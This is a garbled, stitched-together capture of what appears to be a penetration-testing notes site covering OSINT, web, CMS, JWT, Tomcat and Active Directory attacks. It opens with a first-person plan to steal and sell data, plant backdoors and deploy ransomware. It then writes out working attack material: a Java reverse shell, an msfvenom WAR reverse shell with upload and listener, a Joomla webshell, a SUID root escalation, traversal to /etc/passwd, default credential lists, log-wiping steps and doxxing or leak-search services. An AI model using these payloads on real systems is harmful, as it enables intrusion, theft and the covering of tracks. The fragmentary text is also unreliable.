Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Enumeration is Key
Introduction
whoamiWelcome to our GitBook, a meticulously curated repository crafted by two dedicated young penetration testers. Our mission is to compile a comprehensive inventory of the tools, techniques, and knowledge we've amassed in the realms of cybersecurity, penetration testing, and red teaming over the recent years.
The MITRE ATT&CK resource is a good starting point. The end result of the attack will look a bit different based on the goal of the bad actor. The goal might be to :
Steal sensitive company/client/employee information, ransom, breaking/DoS applications,
Defacement for financial/reputation loss.
Regardless of the goal, I would start with discovery if I'm already inside the infrastructure/app.
This would allow me to check what other systems are within the infrastructure (and later try to exploit them).
For the app :
I would check what data it has/gathers.
If the app is based on micro-services,
What additional data I could gather from other systems/ apps.
Dump IT ALL :
I would download everything I gain access to. That might be user data or employee data,
If I gained access to an employee's PC I would download everything they have there and everything they have access to like data, emails, personal pics, and so on.
I would then analyze the data to see if there is anything I can sell, bribe for, and any details that would open other attack vectors (phishing, spear phishing, whaling, access/info about other systems, etc.).
After the discovery part is done, I would try to gain access to other systems as lateral movement and do again the first and second step when I'm in.
How would I get it?
Based on the data I've obtained when doing the discovery part I might've found some vulnerable systems, old systems with existing CVE's or just found some credentials on the employee computer.
Privilege Escalation
This could be done by using vulnerabilities in old systems, stealing tokens, modifying the app to steal and send details to remote systems, maybe creating some fake apps that look like internal apps and steal credentials, and so on.
Whatever I do next, I want to still have access to the app/infrastructure so I would start placing backdoors, reverse shells, creating admin accounts, having open sessions to the employee like RDP, and maybe leave open ssh tunnels.
The last step
It would be different depending on my goal.
If this is only money or destruction I would ransomware the hell out of them, systems, databases, user data, employee data, and pretty much everything that I had access to.
If I want to just steal data, I would not do anything destructive and stay in low profile to have the data coming in until they notice it and try to cut me off. I would deface their sites to show off or promote myself.

The reconnaissance step in Active Directory penetration testing involves gathering as much information as possible about the network, systems, and domain to understand the environment. This phase includes identifying domain controllers, network topology, user accounts, group memberships, and trust relationships.
CTRL + SHIFT + I
There's three popular ways I use to stabilize a reverse shell;
Python, as mentioned above.
riwrap, which prepends to a netcat shell for additional terminal features.
Socat, which is a step above netcat but must be manually transferred over and launched on the target machine.

# if the flag looks like : flag{*****}
grep -irl flag{ $path
# if the flag is a .txt file
find / -iname "*.txt" 2>/dev/null
find / -iname "config.php" 2>/dev/null
find / -iname "flag.txt" 2>/dev/null
# find presence of chrootkit
find / -type f -name chkrootkit 2>/dev/nullcurl -sSL -D - $ip -o /dev/null
curl -s -I -X POST http://$ip# In reverse shell
python -c 'import pty; pty.spawn("/bin/bash")'
Ctrl-Z
# In OS
stty raw -echo
fgAs we navigate the evolving landscape of digital security, we commit to regularly updating this GitBook with fresh insights gleaned from the front lines of our professional challenges. Here, you will discover a spectrum of strategies, from foundational concepts to sophisticated methodologies, all of which have been battle-tested in our day-to-day operations and honed through countless Capture The Flag (CTF) exercises.
Join us on this journey of continuous learning and discovery, where each page turn equips you with knowledge and empowers your cybersecurity endeavors.
⬆ Don't forget to support our projects and to BuyUsACoffee ⬆
git clone https://github.com/Dionach/CMSmap
cd CMSmap/
pip3 install .
cmsmap $urlInjections are a security vulnerability in websites and web applications where attackers inject malicious code/data by exploiting a flaw in the way the application handles user input.
There are several types of injections that attackers can use to exploit vulnerabilities in web applications. Some of the most common include:
SQL injection: This occurs when an attacker is able to insert SQL commands into an application's database queries, allowing them to manipulate or extract sensitive data from the database.
Cross-site scripting (XSS) injection: This occurs when an attacker is able to inject malicious code into a web page that is executed by a victim's browser, allowing the attacker to steal sensitive data or take control of the victim's session.
Command injection: This occurs when an attacker is able to inject operating system commands into an application, allowing them to execute arbitrary code on the server.
LDAP injection: This occurs when an attacker is able to inject LDAP commands into an application, allowing them to manipulate or extract sensitive data from the application's directory services.
JSON web tokens (JWTs) are a standardized format for sending cryptographically signed JSON data between systems. They can theoretically contain any kind of data, but are most commonly used to send information ("claims") about users as part of authentication, session handling, and access control mechanisms.
Unlike with classic session tokens, all of the data that a server needs is stored client-side within the JWT itself. This makes JWTs a popular choice for highly distributed websites where users need to interact seamlessly with multiple back-end servers.
A JWT consists of 3 parts: a header, a payload, and a signature. These are each separated by a dot, as shown in the following example:
MITRE CVE — A search engine, database, and widely accepted classifier of vulnerabilities.
NIST NVD — The official US government vulnerability database.
GitHub Advisory Database — A vulnerability database incorporating CVEs and security advisories.
CVEDetails, osv.dev, VulDB, maltiverse — Additional sources of data on vulnerabilities and indicators of compromise.
opencve.io — A CVE search engine with integrated alerts for new threats.
security.snyk.io и Mend Vulnerability Database, Vulncode-DB — Open-source vulnerability databases.
Cloudvulndb — A project compiling vulnerabilities and security issues of cloud service providers.
Vulnerability Database — A system for searching information about current threats.
Rapid7 - DB — A database containing details of over 180 thousand vulnerabilities and 4 thousand exploits, with all exploits included in Metasploit.
Exploit DB — A CVE-compliant archive of publicly available exploits and vulnerable software.
sploitus — A search engine for exploits and hacking tools.
Prowl - Lupovis — Information gathering about IP address, top threats
ThreatMinor — ThreatMiner is a threat intelligence portal designed to enable analysts to research under a single interface.
https://t.me/osint_maigret_bot — Maigret
https://t.me/telesint_bot — Telesint
https://t.me/OverloadCyberBot — Overload
https://t.me/TgAnalyst_bot — Telegram Analyst
https://t.me/GTA_search2Bot — GTA Search
https://t.me/tgscanrobot — Search for user's groups
https://t.me/PasswordSearchBot — Password Search
https://t.me/UniversalSearchXBot — Universal Search (free version of @HowToFindRU_Robot)
https://t.me/NewLeakOSINTbot — Leak OSINT (useful asfuck)
https://t.me/US2UserBox_bot_Bot / https://link.usersbox.net/ — User's Box
https://web.archive.org/ — ¯_(ツ)_/¯
https://geospy.web.app/ — Get location from a picture (AI)
https://imgur.com/a/0Umsm8O — EVERY Car Plate on the map


curl http://$target/wp-content/plugins/ebook-download/filedownload.php?ebookdownloadurl=../../../../../../../etc/passwdgit clone https://github.com/rvizx/CVE-2016-10924
cd CVE-2016-10924
python pidbrute.py $url# Create a .yml file just like the other one
nano evil.yml
# Content :
- hosts: localhost
tasks:
- name: RShell
command: chmod u+s /bin/bash
become: true
# ---
# save the file CTRL+O CTRL+X
# ---
ls -lah /bin/bash
ansible-playbook evil.yml
bash -p
# rootSecure
Only sent to the server with an encrypted request over HTTPS, never sent with HTTP.
HTTPOnly
Inacessible to Javascript document.cookie API; only sent to the server, helps mitigate XSS attacks.
Path
Limits the scope of a cookie to a specific path on the server and can therefore be used to prevent unauthorized access to it from other applications on the same host.
SameSite
The SameSite attribute lets servers specify whether/when cookies are sent with cross-site requests (where Site is defined by the registrable domain). This provides some protection against cross-site request forgery attacks (CSRF).
It takes three possible values: Strict, Lax, and None.
The header and payload parts of a JWT are just base64url-encoded JSON objects. The header contains metadata about the token itself, while the payload contains the actual "claims" about the user. For example, you can decode the payload from the token above to reveal the following claims:
In most cases, this data can be easily read or modified by anyone with access to the token. Therefore, the security of any JWT-based mechanism is heavily reliant on the cryptographic signature.
The server that issues the token typically generates the signature by hashing the header and payload. In some cases, they also encrypt the resulting hash. Either way, this process involves a secret signing key. This mechanism provides a way for servers to verify that none of the data within the token has been tampered with since it was issued:
As the signature is directly derived from the rest of the token, changing a single byte of the header or payload results in a mismatched signature.
Without knowing the server's secret signing key, it shouldn't be possible to generate the correct signature for a given header or payload.
In other words, a JWT is usually either a JWS or JWE token. When people use the term "JWT", they almost always mean a JWS token. JWEs are very similar, except that the actual contents of the token are encrypted rather than just encoded.
IACA darkweb tools —A start page for two dozen search engines that operate within TOR and are accessible from the regular web.
Ahmia.fi — Another TOR search engine, notable for being open source.
SearchDemon, Phobos, Tor66, ExcavaTOR, Raklet, SeИtoЯ, Torch, OnionLand Search —Additional TOR search engines.
Exonera Tor — A database containing IP addresses that were part of the Tor network. Users can determine whether a Tor relay was active on a specific IP address on a chosen date.
Relay Search — : A web application for discovering Tor relays and bridges, offering insights into their configurations. It's an open-source tool.
TorBot — A convenient Onion crawler that collects addresses and page titles, extracts email addresses from sites, verifies link activity, and saves reports in JSON. It's Docker compatible.
PryingDeep — An OSINT tool to collect intelligence on the dark web.
VililantOnion — An Onion crawler with support for keyword search.
Katana-ds — A Python tool for automating searches using Google Dorks with TOR support
— A Python3 script for automating .onion searches via public services.
— An OSINT tool for Darkweb searches that doesn't require TOR installation and can also explore the i2p network
HotExamples — Search for code examples of an open-source project, enabling the viewing of examples using a particular class or method from multiple projects on one page.
Libraries.io — Search 4,690,628 packages across 32 package managers.
RepoSearch — Search source code in SVN and GitHub repositories
grep.app — Git content, useful for locating strings associated with IOC vulnerabilities and malware.
Search from Cyber_detective — Search 20 open-source repositories using dorks
PublicWWW — Enables the discovery of any alphanumeric fragment, including pieces of HTML, JavaScript, CSS code in the code of web pages.
NerdyData — Identifies websites utilizing specific technologies.
Gitrob — A tool for finding potentially sensitive files in public repositories on GitHub, displaying results via a web interface.
Github Dorks — A utility for searching using dorks via the GitHub Search API, written in Python.
gitGraber — Monitors GitHub for confidential data, such as credits from various services, quickly searching for sensitive information.
github-search —A collection of console tools for GitHub research.
— Designed to find email addresses and social media accounts in a website's source code.
Examining the contents of forms on a website can sometimes reveal fields that could be vulnerable to IDOR exploitation.
For instance, the following HTML code for a form that updates a user's password :
site:*.wikipedia.org -www -store -jobs -uk
site:*.*.example.com
site:*.*.*.example.com # wfuzz
wfuzz -c -f sub-fighter -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt -u "http://$target.com" -H "Host: FUZZ.$target.com"
# ffuf
ffuf -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt -H "Host: FUZZ.target.com" -u $target.com
# amass
amass enum -d $domain
# sublistr |
sublist3r -d $domain -v
# dnsrecon
dnsrecon -t brt -D /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt -v -d $domain
# dnsenum
dnsenum $target.com
By obtaining these types of rights, a malicious actor can perform a series of actions to the operating system or to the server such as running different commands or facilitating the infiltration of malware within the network, that will further trigger business disruption, exposure of sensitive data, or system resources, or even complete system takeover.
ps aux
cd / && ls -lah
# if .dockerenv then ...
cat /proc/1/cgrouparp -a
# other hosts ???
# scan open ports
nc -zv 127.0.0.1 1-65535
nc -zv $host 1-65535
# check for db and other stuff....
String host="localhost";
int port=8044;
String cmd="cmd.exe";
Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Socket(host,port);InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();OutputStream po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){while(pi.available()>0)so.write(pi.read());while(pe.available()>0)so.write(pe.read());while(si.available()>0)po.write(si.read());so.flush();po.flush();Thread.sleep(50);try {p.exitValue();break;}catch (Exception e){}};p.destroy();s.close();'''
Black Box
'''
# Network
nmap -A -p- -Pn -f $target -oN scan
nmap -sC -sV -p- $target -oN scan
# or
rustscan -a $target -- -sC -sV -oN scan
# identify technologies / CMS -> check for vulnerabilities
# whois
whois $target
# Google Dorking (infos leak)
site:$target filetype:txt
site:$target filetype:pdf
site:$target intext:admin
site:$target inurl:admin
# Accounts Leaks : intelx.io
# Reconnaissance
gospider -q -c 10 -s "http://$target"
# wappalyzer / identify versions
# read source code of webpages / finds keys / hidden endpoints
# WEB APP
nikto -h $target
# Fuzzing
feroxbuster -t 10 -u https://0.0.0.0 -k -w /usr/share/seclists/Discovery/Web-Content/common.txt -o feroxbuster
# or
wfuzz -w /usr/share/SecLists/Discovery/Web-Content/raft-large-directories-lowercase.txt -u https://0.0.0.0/FUZZ --hw $hw -p $proxy
# TLS / HSTS
./testssl.sh $target
# burp suite > server response > hsts ?
# info leak in headers ?
# HTTP parameters
arjun -u $url
'''
Grey Box
'''
# COOKIES
## Secure, HTTPOnly flags
## session fixation
# Inputs : SQLi / XSS / CSRF / SSRF / SSTI / OS Injection
# FUNCTIONALITIES
# logout / session timeout ? if the session is properly killed after logout.
# password change, weak pass ?
# IDOR / Improper Isolation or Compartmentalization :
# access URI functionalities with no auth / no privileges
# Uploads : eicar / file uploads bypass / lfi ?
# zipslip / CSV injection"Administer views" -> new View of User Fields -> Add a "Custom text" :
?q=admin/views/ajax/autocomplete/user/a
Enumeration & Exploitation
license.txt (wordpress version)
wp-activate.php
wp-content/uploads/
wp-includes/
wp-config.php
Check for usernames : /wp-json/wp/v2/users
Could leak IP addresses : /wp-json/wp/v2/pages
Credentials brute-force or use it to launch DoS attacks
/wp-json/oembed/1.0/proxy
This script allows to check SAP LM Configuration Wizard missing authorization check vulnerability and as a PoC script exploits directory traversal in queryProtocol method.
Directory traversal allows to download any zip from SAP server.
Apache server-status is an Apache monitoring instance Available by default at http://$target/server-status
In normal cases, the server-status instance is not accessible by non-local IPs. However, due to misconfiguration, it can be publicly accessible. This leads anyone to view the great amount of data by server-status.
All URL requested by all hosts/vhosts, including obscure files/directories and session tokens
All requested client's IPs
#On REV shell
which python
# python3
python3 -c 'import pty;pty.spawn("/bin/bash")'
export TERM=xterm
# python2.7
python -c 'import pty; pty.spawn("/bin/bash")'On Attacker PC : -- Ctrl + Z -- Enter -- stty raw -echo in attacking terminal and note down the values for rows and columns.
# INSTALL
git clone https://github.com/lefayjey/linWinPwn
cd linWinPwn; chmod +x linWinPwn.sh
chmod +x install.sh
./install.sh
./linWinPwn.sh -h
# USAGE
# on the Windows host, run using PowerShell:
ssh kali@$ip_attacker -R 1080 -NCqf
# On the Linux machine, first update /etc/proxychains4.conf to include socks5 127.0.0.1 1080, then run:
proxychains ./linWinPwn.sh -t $DC_IPJWT attacks involve a user sending modified JWTs to the server in order to achieve a malicious goal. Typically, this goal is to bypass authentication and access controls by impersonating another user who has already been authenticated.
The impact of JWT attacks is usually severe. If an attacker is able to create their own valid tokens with arbitrary values, they may be able to escalate their own privileges or impersonate other users, taking full control of their accounts.
{
"iss": "portswigger",
"exp": 1648037164,
"name": "Carlos Montoya",
"sub": "carlos",
"role": "blog_author",
"email": "[email protected]",
"iat": 1516239022
}./subjack -w subdomains.txt -t 100 -timeout 30 -o results.txt -sslwget https://github.com/stealthcopter/deepce/raw/main/deepce.sh
curl -sL https://github.com/stealthcopter/deepce/raw/main/deepce.sh -o deepce.sh
# Or using python requests
python -c 'import requests;print(requests.get("https://github.com/stealthcopter/deepce/raw/main/deepce.sh").content)' > deepce.sh
python3 -c 'import requests;print(requests.get("https://github.com/stealthcopter/deepce/raw/main/deepce.sh").content.decode("utf-8"))' > deepce.sh
# start
chmod +x ./deepce.sh
./deepce.sh
# create new root user on system
./deepce.sh --no-enumeration --exploit PRIVILEGED --username deepce --password deepcegit clone https://github.com/devanshbatham/ParamSpider
cd ParamSpider
pip3 install -r requirements.txt
python3 paramspider.py --domain $domain# check meta
curl https://www.drupal.org/ | grep 'content="Drupal'
# version
curl https://drupal-site.com/CHANGELOG.txt
# node
curl drupal-site.com/node/1
# users
# 403 -> exists | 404 -> doesn"t
curl https://www.drupal.org/user/X
# get username
curl https://www.drupal.org/reset/user/X/1/1wfuzz -w /usr/share/SecLists/Discovery/Web-Content/URLs/urls-SAP.txt --hc 404,403,503,406,401 --hl 172 https://domain.com/FUZZ
wfuzz -w /usr/share/SecLists/Discovery/Web-Content/CMS/SAP.fuzz.txt --hc 404,403,503,406,401 --hl 172 https://domain.com/FUZZ
wfuzz -w /usr/share/SecLists/Discovery/Web-Content/sap.txt --hc 404,403,503,406,401 --hl 172 https://domain.com/FUZZ
# good wordlist
wget https://gist.githubusercontent.com/0x240x23elu/88327494cf7331008a13bc7d5aabfe74/raw/62bed611cfef054ffbb9b8bd0a320a53671d9ee4/SAPwordlists.txt -o sap_great.txt
wfuzz -w sap_great.txt --hc 404,403,503,406,401 --hl 172 https://domain.com/FUZZ
# check juicy
http://domain.com/sap/public/info/etc/syslog.conf
# in this file, you can read all the logs that Syslog logs.
# on linux/unix, a lot of systems logs are stored :
/var/logs
# i.e.
/var/log/messages
/var/log/auth.log # ssh, sudo attempts
# APACHE
/var/log/apache2/access.log
/var/log/apache2/error.log
# remove your ip :
grep -v '$src-ip-address' /path/to/access_log > a && mv a /path/to/access_log
grep -v <entry-to-remove> <logfile> > /tmp/a ; mv /tmp/a <logfile> ; rm -f /tmp/a
# utmp / wtmp
who
last
lastlog
# COMMAND HISTORY
echo $HISTFILE
# You can set your file size like this to zero, to avoid storing commands.
export HISTSIZE=0
# SHRED FILES
# lets you remove files in a more secure way
shred -zu $filenameOriginRequire Reauthentication for Sensitive Actions: For very sensitive operations, like changing a password, always prompt users to re-enter their current password.
Be cautious with CORS: Cross-Origin Resource Sharing (CORS) headers shouldn't be used recklessly, as they can allow unwanted cross-site interactions.



# droopescan
droopescan scan joomla --url http://joomla-site.local/
# joomscan - OWASP
git clone https://github.com/rezasp/joomscan.git
cd joomscan
perl joomscan.plstty raw -echo; fg
stty rows NUMBER cols NUMBER# On REV shell
which script
/usr/bin/script -qc /bin/bash /dev/null
export TERM=xterm/auth.jsp
You will only be able to deploy a WAR if you have enough privileges (roles: admin, manager and manager-script).
Those details can be find under tomcat-users.xml usually defined in /usr/share/tomcat9/etc/tomcat-users.xml (it vary between versions)
wget https://raw.githubusercontent.com/ajnik/joomla-bruteforce/master/joomla-brute.py
python3 joomla-brute.py -u http://joomla-site.local/ -w /usr/share/metasploit-framework/data/wordlists/http_default_pass.txt -usr admincurl -v http://10.9.49.205/api/index.php/v1/config/application?public=true
# Joomla! MySQL credentials plain-text
# Modify a template when logged in
# Site templates > Editor > modify 'error.php' :
system($_GET['cmd']);
# try :
curl -s http://joomla-site.local/templates/cassiopeia/error.php\?cmd\=id# install
git clone https://github.com/mazen160/server-status_PWN.git
cd server-status_PWN
pip3 install -r requirements
# exploit
python3 server-status_PWN.py --url 'http://$target/server-status'# install
git clone https://github.com/iilegacyyii/PoC-CVE-2021-41773.git
cd PoC-CVE-2021-41773/
python3 CVE-2021-41773.py --host https://$targetadmin:
admin:admin
admin:password
admin:password1
admin:Password1
admin:tomcat
manager:manager
root:changethis
root:password
root:password1
root:root
root:r00t
root:toor
tomcat:(empty)
tomcat:admin
tomcat:changethis
tomcat:password
tomcat:password1
tomcat:s3cret
tomcat:tomcat# metasploit
msf> use auxiliary/scanner/http/tomcat_mgr_login
# hydra
hydra -L users.txt -P /usr/share/seclists/Passwords/darkweb2017-top1000.txt -f 10.10.10.64 http-get /manager/html# metasploit
use exploit/multi/http/tomcat_mgr_upload
msf exploit(multi/http/tomcat_mgr_upload) > set rhost <IP>
msf exploit(multi/http/tomcat_mgr_upload) > set rport <port>
msf exploit(multi/http/tomcat_mgr_upload) > set httpusername <username>
msf exploit(multi/http/tomcat_mgr_upload) > set httppassword <password>
msf exploit(multi/http/tomcat_mgr_upload) > exploit
# msfvenom - manually
msfvenom -p java/jsp_shell_reverse_tcp LHOST=10.11.0.41 LPORT=8083 -f war -o revshell.war
# upload it to tomcat and access it : /revshell/
curl --upload-file shell.war -u 'tomcat:password' "https://example.com/manager/text/deploy?path=/shell"
# host
nc -lvnp 8083Usage : https://psbdmp.ws/api/search/<email>
Usage https://cavalier.hudsonrock.com/api/[email protected] =======
Usage https://cavalier.hudsonrock.com/api/[email protected]
WhatBreach — An OSINT tool facilitating the discovery of breaches involving a specific email address, capable of loading public databases.
h8mail и pwnedOrNot — Tools for finding passwords from compromised email addresses in public databases.
Infoga — Collects email account information from public sources and checks for email leaks using the haveibeenpwned.com API.
https://techjournalism.medium.com/how-to-verify-leak-data-3b0c8d8b764a
Extract the metadata from multiple images and store it in a list : link
Tools :
Automate the collection of metadata, collect creation dates and store it for analysis in chronological order :
Set up a separate machine, one that perhaps connects via the Tor Project
Runs two different virus scan software packages.
If the data runs on an external hard drive, check virus/malware on that dump of data as a whole.
Yandex reverse image search : Struggles with graphics
Search through Dorks, a lot of leaks on Slideshare

Hopain Tools, Inteltechniques, IntelligenceX, Aware OSINT Tools — These serve as starting points for numerous general and specialized search engines, all heavily oriented towards OSINT.
Shodan — Search by ip, name, or domain
Fagan Finder — Offers a panel featuring dozens of search engines catering to libraries, archives, and databases.
Metaosint — A search engine for search engines, providing a user-friendly interface to access other tools.
Synapsint — A metasearch engine with the capability to search by IP, SSL, ASN, CVE, email, and phone numbers.
ThatsThem — A combined search engine for names, addresses, phone numbers, email addresses, and IP addresses.
Carrot2 — A search engine equipped with a built-in text clustering algorithm, automatically grouping thematically related sources.
Isearchfrom — Simulates search queries to Google from different countries, aiding in understanding how regional restrictions affect search results.
Answerthepublic — An English-language search engine that provides common search queries for a given phrase.
IntelTechniques Tools — Some tools of Michael Bazzell on his website
IntelX Tools — IntelX OSINT tools
OSINT Essentials — Some of OSINT investigation tools
InfoSecurity OSINT Tools — Same as above
Doxbin — Doxxing pastes on people
OSINT Framework — OSINT framework tree
Rawsec's CyberSecurity Inventory : Reconnaissance — OSINT and Reconnaissance
S — Allows searching 106 sources directly from the command line.
SpiderFoot — Automates search queries and exports results to CSV, JSON, or GEXF. Tailored for red team tasks, equipped with a built-in web interface.
Query-Server — Sends search queries to multiple search engines and writes the results in CSV, JSON, or XML.
Recon-ng — An open-source intelligence framework resembling the Metasploit Framework. Facilitates searches for logins, phone numbers, addresses, and publicly available financial statements.
— An OSINT tool based on Google Sheets, designed for complex searches of people, email addresses, files, and more.
— A free OSINT tool for collecting information from various sources and identifying correlations between entities like people, email addresses, companies, websites, and domains.
— A framework for collecting and semi-automatically processing information about subdomains, IP addresses, compromised accounts, phone numbers, and social network profiles.
— A console utility for collecting information for red teaming, conducting active and passive reconnaissance using various search engines. Gathers names, email addresses, IP addresses, subdomains, and URLs.
— A crawler for searching IP addresses, emails, websites, organizations, and retrieving information from diverse sources.
— Gathers information about user domains, names, and phone numbers using public sources and Google Dorks.
— An OSINT tool found in Kali or BlackArch Linux, designed to collect data by specific domain, email, username, or phone number, and save reports in text files, HTML, and JSON.
— An open-source, decentralized search engine that enables users to deploy their own search engine.
For example, consider a JWT containing the following claims:
Changing the parameter "isAdmin" to true : Privilege Escalation.
JWT libraries typically provide one method for verifying tokens and another that just decodes them. For example, the Node.js library jsonwebtoken has verify() and decode(). Occasionally, developers confuse these two methods and only pass incoming tokens to the decode() method. This effectively means that the application doesn't verify the signature at all.
Change the "alg" value to "none". Remove the signature part but leave the trailing dot ".".
Even if the token is unsigned, the payload part must still be terminated with a trailing dot.
Some signing algorithms, such as HS256 (HMAC + SHA-256), use an arbitrary, standalone string as the secret key. Just like a password, it's crucial that this secret can't be easily guessed or brute-forced by an attacker. Otherwise, they may be able to create JWTs with any header and payload values they like, then use the key to re-sign the token with a valid signature.
When implementing JWT applications, developers sometimes make mistakes like forgetting to change default or placeholder secrets. They may even copy and paste code snippets they find online, then forget to change a hardcoded secret that's provided as an example. In this case, it can be trivial for an attacker to brute-force a server's secret using a wordlist of well-known secrets.
JWT Wordlist : https://github.com/wallarm/jwt-secrets/blob/master/jwt.secrets.list$
If the server uses an extremely weak secret, it may even be possible to brute-force this character-by-character rather than using a wordlist.
Then : Generate another key using JWT Editor Keys on BurpSuite, change the "k" parameter to the base64-encoded secret. Start accessing admin panels.
Port 88 : Kerberos authentication system
# install via releases : https://github.com/ropnop/kerbrute
./kerbrute userenum -d $domain_ldap --dc $dc_ip /usr/share/SecLists/Usernames/xato-net-10-million-usernames.txtpython2 evilarc.py -p /etc/passwd $zip_input_file# install
git clone https://github.com/urbanadventurer/WhatWeb.git
cd WhatWeb
make install
# usage
# Default scan
whatweb $ip
# Scan the local network quickly and suppress errors
whatweb --no-errors $network
whatweb --aggression=Stealthy/Aggressive/Heavy --verbose
# Scan reddit.com slashdot.org with verbose plugin descriptions
whatweb -v reddit.com slashdot.org
# An aggressive scan of wired.com detects the exact version of WordPress.
whatweb -a 3 www.wired.com
# Scan the local network for https websites
whatweb --no-errors --url-prefix https:// $networkSAP*
06071992, PASS
001, 066, Custom
DDIC
19920706
000, 001, Custom
TMSADM
PASSWORD, $1Pawd2&
000
SAPCPIC
ADMIN
000,001
EARLYWATCH
SUPPORT
066
curl -L https://github.com/mufeedvh/moonwalk/releases/download/v1.0.0/moonwalk_linux -o moonwalk
# or
cargo install --git https://github.com/mufeedvh/moonwalk.git
# from source
git clone https://github.com/mufeedvh/moonwalk.git
cd moonwalk/
cargo build --release


/etc/issue : contains a message or system identification to be printed before the login prompt.
/etc/profile : controls system-wide default variables, such as Export variables, File creation mask (umask), Terminal types, Mail messages to indicate when new mail has arrived
/proc/version : specifies the version of the Linux kernel
/proc/self/environ
/etc/passwd : has all registered user that has access to a system
/etc/shadow : contains information about the system's users' passwords
/root/.bash_history : contains the history commands for root user
/var/log/dmessage : contains global system messages, including the messages that are logged during system startup
/var/log/auth.log : contains all ssh logs, (rce and log poisoning)
/var/mail/root : all emails for root user
/home/<user>/.ssh/id_rsa : Private SSH keys for a root or any known valid user on the server
/var/log/apache2/access.log : the accessed requests for Apache web server
/proc/cmdline
/etc/hosts
/etc/issue
C:\boot.ini : contains the boot options for computers with BIOS firmware
Connect to the database and then look for a certain username : password IF they exist in the collection (in the database), then we have a valid entry.
The following is the query that is used in the web applications used on our login :
Functions where the query is JSON data that's send via the application :
MongoDB operators heavily used in the injections :
$eq - matches records that equal to a certain value.
$ne - matches records that are not equal to a certain value.
$gt - matches records that are greater than a certain value.
$neInject a JSON objection {"$ne": "XYZ"} in the password field, and change the logic to become as follows :
In the case, we wanted to log in to a system as another user who is not admin :
Instruct MongoDB to find a document that its username is not equal to admin and its password is not equal to xyz, which returns the statement as true.
APEX URL that refers to Page 1 of Application 100 : http://localhost/apex/f?p=100:1:12432087235079
Source code :
JS files :
META :
Check the login process for weaknesses, such as :
Insecure transmission of login data,
Weak password requirements,
Susceptibility to brute force attacks (is there any account lockout ?),
Try to
https://my.app.com/apex/f?p=x:y:SESSION:::::ITEM:ITEM_VALUE
x = application ID y = page ID
Capture a request in the proxy and send it to the Intruder tool. Set your payload position on the pageID parameter
Under Payloads, choose the “Numbers” payload and set an appropriate range you’d like to test.
Run
See slide n°24 for more infos
Rewrite with wwv_flow.show :
PAMpam_unix.so file is responsible for authentication
pam_unix.so uses the unix_verify_password function to verify to user's supplied password :
.bashsrcAny user that log in often :
Put a nc listener
CronJobConfigure a task where every minute a reverse shell is sent to you. Add this line into your cronjob file :
Add this to the shell file :
On the attacker machine :
SSHEnumerate the network and its services, find the DC,
They are usually DNS Servers. They have usually LDAP listening port 389.
ASREPRoasting
Kerberoasting
Dump AD as BloodHound JSON files
Searching GPOs in SYSVOL for cpassword and decrypting
The HTTP TRACE method is designed for diagnostic purposes. If enabled, the web server will respond to requests that use the TRACE method by echoing in its response the exact request that was received.
This behavior is often harmless, but occasionally leads to the disclosure of sensitive information such as internal authentication headers appended by reverse proxies. This functionality could historically be used to bypass the HttpOnly cookie flag on cookies, but this is no longer possible in modern web browsers.
The TRACE method should be disabled on production web servers.
Active Directory is a widely used directory service by Microsoft that stores information about users, computers, and other resources on a network.
As with any technology, Active Directory has its own set of vulnerabilities that can be exploited by attackers to gain unauthorized access to network resources.
Some common Active Directory vulnerabilities are:
Weak passwords: Weak passwords or passwords that are easily guessable are one of the most common Active Directory vulnerabilities. Attackers can use automated tools to try multiple passwords until they find the correct one and gain access to the system.
Pass the hash attacks: Pass the hash (PtH) is a type of attack that involves stealing the hashed password of a user and using it to authenticate to other systems on the network. This type of attack is particularly dangerous because the attacker does not need to know the user's plaintext password.
Kerberos attacks: Kerberos is a network authentication protocol used by Active Directory. Kerberos attacks involve exploiting vulnerabilities in the Kerberos protocol to gain unauthorized access to network resources.
Domain controller vulnerabilities: Domain controllers are the backbone of an Active Directory environment. If an attacker gains access to a domain controller, they can take control of the entire network.
Group Policy vulnerabilities: Group Policy is a powerful tool used to manage security settings in Active Directory. Misconfigured Group Policy settings can leave a network vulnerable to attack.
Unsecured LDAP traffic: LDAP (Lightweight Directory Access Protocol) is used to communicate with Active Directory. If LDAP traffic is not encrypted, an attacker can intercept it and steal sensitive information.
Privilege escalation: If an attacker gains access to a low-privileged account, they can attempt to escalate their privileges and gain administrative access to the system.
{
"username": "carlos",
"isAdmin": false
}{
"alg": "HS256",
"typ": "JWT"
}hashcat -a 0 -m 16500 $JWT $wordlist
# --show to output the result if you already run itgit clone https://github.com/ticarpi/jwt_tool
cd jwt_tool/
python3 -m pip install termcolor cprint pycryptodomex requests
python3 jwt_tool.py $JWT"{{ {"#lazy_builder": ["shell_exec", ["touch /tmp/hellofromviews"]]} }}"# install
git clone https://github.com/immunIT/drupwn.git
cd drupwn
pip3 install -r requirements.txt
# enum
drupwn --mode enum --target $url
# exploit
drupwn --mode exploit --target $urlapt-get install python-pip
pip install droopescan
# scan
droopescan scan drupal -u example.org# get wordpress version
curl https://victim.com/ | grep 'content="WordPress'# get author name = potential user
curl -s -I -X GET http://blog.example.com/?author=1https://worpress-site.com/wp-json/oembed/1.0/proxy?url=ybdk28vjsa9yirr7og2lukt10s6ju8.burpcollaborator.net# Enumerate all plugins with known vulnerabilities
